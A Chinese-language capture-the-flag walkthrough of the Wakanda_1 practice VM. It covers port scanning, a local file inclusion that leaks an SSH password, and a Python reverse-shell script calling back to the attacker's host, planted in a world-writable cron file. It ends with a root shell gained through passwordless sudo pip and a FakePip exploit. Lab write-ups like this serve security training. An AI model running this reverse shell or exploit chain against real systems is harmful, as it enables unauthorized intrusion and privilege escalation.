百度网盘下载地址:
链接:https://pan.baidu.com/s/1xwr1li8sJ-Yc7h_jOtVOcw 密码:aixl
难度级别:中级。
用virtualbox导入Wakanda_1.ova靶机环境,修改其网络连接方式为Bridged(桥接网卡),并选择一个可用于联网的网卡(例如,我使用的无线网卡上网,在图中网卡为Inter(R) Dual Band Wireless-AC 7260)。
这里我使用NAT模式,Kali跟靶机处于同一局域网下
1.查看kali的ip ifconfig
然后我们使用netdiscover来探测局域网存活主机 也可以用 nmap -sP
下面2条效果相同,只是一个是通过指定网卡来确定扫描范围,另一个是通过IP地址来确定范围
netdiscover -r 192.168.100.0/24
netdiscover -i eth0
192.168.100.7就是靶机的IP地址
然后我们通过 nmap -p 1-65536 -sV 192.168.100.7
来探测靶机的开放端口以及端口上服务的信息
扫描完成后,我们发现目标机器上有四个开放的端口。那么,让我们先从HTTP端口开始下手。利用浏览器访问目标机器的IP,这时将会看到一个网站,具体如下图所示。
用dirb 对靶机进行目录探测
状态码都是200,但是size都是0说明返回的是空页面
在手动分析HTML内容的过程中,我们在注释中找到了一个参数,具体如下图所示。
鼠标放到@mamadou上面看下连接也是提示
正如在上面屏幕截图的突出显示区域中可以看到的那样,注释中存在“lang”参数,并且研究发现,该参数含有本地文件包含(LFI)漏洞。于是,我利用该漏洞下载了索引文件的内容,具体如下图所示。
对索引文件进行解码后,我们在源代码中找到了一个密码,具体见截图中的高亮部分。相应的密码如下所示。
密码:Niamey4Ever227!!!
现在,我们已经找到了密码,并且通过端口扫描还发现目标机器上还运行着SSH服务。不过,我们还不知道用户名。于是,我尝试使用一些默认用户名的密码进行爆破,可惜没有成功。
花了一些时间后,我在索引页面的HTML内容中发现了一个用户名,具体如下图所示。
在突出显示的区域中,我们可以看到“Made by”,这意味着我们可能找到了SSH的有效用户名,具体如下所示。
用户名:mamadou
由于我们已经在源代码中找到了密码,并且SSH服务也在目标计算机上运行,因此,我们可以尝试使用以下凭据来登录系统:
Username: mamadou
Password: Niamey4Ever227!!!
也可以用kali的ssh来登陆
从上面的屏幕截图中可以看出,这里使用的凭证是有效的,因为我们成功登录了目标系统。但是,我们还没有得到命令shell,因为这里是一个Python shell。接下来,我们要做的事情,就是使用自己喜欢的Python命令来获取访问bash shell的权限了,具体如下图所示。
好了,我们终于获得了对目标机器的命令行shell的访问权限了。之后,我运行了ls命令,显示的文件为flag1.txt文件。至此,我们就拿到了第一个旗标,具体如下图所示。
第一个旗标到手了! 现在,让我们来看看内核和Linux操作系统的版本号。
使用的命令:
uname -a
cat /etc/issue
如您所见,我们检索了内核版本和操作系统版本方面的信息。接下来,我们就可以通过互联网来检查这些版本是否存在可用的本地漏洞了。
事实证明,虽然Google的搜索结果表明有很多漏洞可用,但它们都不适用于这台机器。于是,我开始试图寻找其他途径。我仔细分析了/etc/passwd文件,发现目标系统上还有另外一个用户,即“DevOps”。
用户“DevOps”在目标计算机上具有bash访问权限。因此,我们不妨检查DevOps用户所有的文件,看看能否获取弱文件权限漏洞。
使用的命令:find / -user devops 2>/dev/null -ls
这条命令查找属于devops用户的文件 同时不显示错误输出,把存在的文件的详细信息列出来
通过上述命令,我们找到了部分文件,其中一个让人感兴趣的文件是“.antivirus.py”,该文件对所有用户都具有写入权限。所以,我们不妨看看这个文件的内容。
不难看出,这段代码将打开位于“tmp”目录中的test文件而编写,并向该文件中写入“test”。所以,对tmp文件夹中的test文件进行了一番了解。因为该文件的所有者是DevOps,所以它运行时将拥有DevOps用户的权限。如果我们能够编写一个Python反向连接程序并将其替换为“.antivirus.py”,那么我们将获得另一个DevOps用户shell。好了,我们下手吧。
我在本地计算机上创建了一个Python程序,并使用wget程序将其传输到目标计算机的“tmp”文件夹中。
我们先再kali上开启web服务
python程序源码
#! /usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.100.8”,4545));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”-i”]);
然后把这个文件放到 /var/www/html里面
然后再通过wget下载到靶机里面
wget http://192.168.100.8/pythonshell.py
cp pythonshell.py /srv/.antivirus.py
然后我们看看是否替换成功
之后,我们在端口4545上启动侦听器以接收反向shell,并等待Cron运行。等了一段时间后,我们在目标机器上收到了一个反向shell,具体如下图所示。
【不知道什么情况自己的机器,一直反弹不出shell,下面的就引用别人的文章内容】
nc -lvp 4545
我们搞到了一个反向shell。之后,我们可以运行“id”命令来检查用户的情况,从而确认我们可以作为“DevOps”用户来访问目标计算机。现在,让我们运行Python命令来获取稳定的shell访问权限,具体如下图所示。
使用的命令:
python -c ‘import pty;pty.spawn(“/bin/bash”)’ (用来获取稳定的shell)
cd /home/devops (用于将当前目录改为DevOps)
ls (用于列出文件)
cat flag2.txt (用于读取flag2.txt文件)
如上图所示,我们获得了DevOps用户的权限,并在DevOps主目录中找到了另一个旗标。
因此,现在只要找到最后一个旗标就挑战成功了。由于DevOps用户也不是root用户,因此,我们还需要获取该计算机的root访问权限才能完成本次挑战。我们认为,只要获得root访问权限时,我们就能找到root旗标。
作为DevOps用户,当面运行sudo命令的时候,会返回一个错误消息,具体如下图所示。
使用的命令: sudo -l 运行sudo -l命令后,我们发现/user/bin/pip可以作为root用户运行,且无需任何密码。
所以,我们搜索了pip服务方面的漏洞利用代码,并通过wget程序将其下载到了目标机器上。在此之后,还必须在目标机器上执行漏洞利用代码,这方面的信息,请参考https://github.com/0x00-0x00/FakePip
修改setup.py
中的RHOST = '10.0.0.1' # change this
语句为kali的IP地址
由于在靶机上无法高效地编辑exp,我们先在kali上将exp下载下来,再编辑,最后上传到靶机上。
使用的命令:
wget 192.168.100.8/setup.py(用于从本地计算机下载漏洞利用代码)
sudo /usr/bin/pip install . –upgrade –force-reinstall(用于运行漏洞利用代码)
如您所见,我们首先在端口443上启动了Netcat侦听器,然后运行了漏洞利用代码,从而获得了目标机器的root shell,具体如下图所示。
到目前为止,我们终于在目标机器上拥有了root权限!现在,我们要读取第3个旗标,以完成挑战。实际上,第3个旗标很容易从根目录中找到,具体如下图所示。
我们找到了最后的一个旗标!对于这个CTF挑战来说,我们已经顺利通关了。
感谢各位耐心读完本文!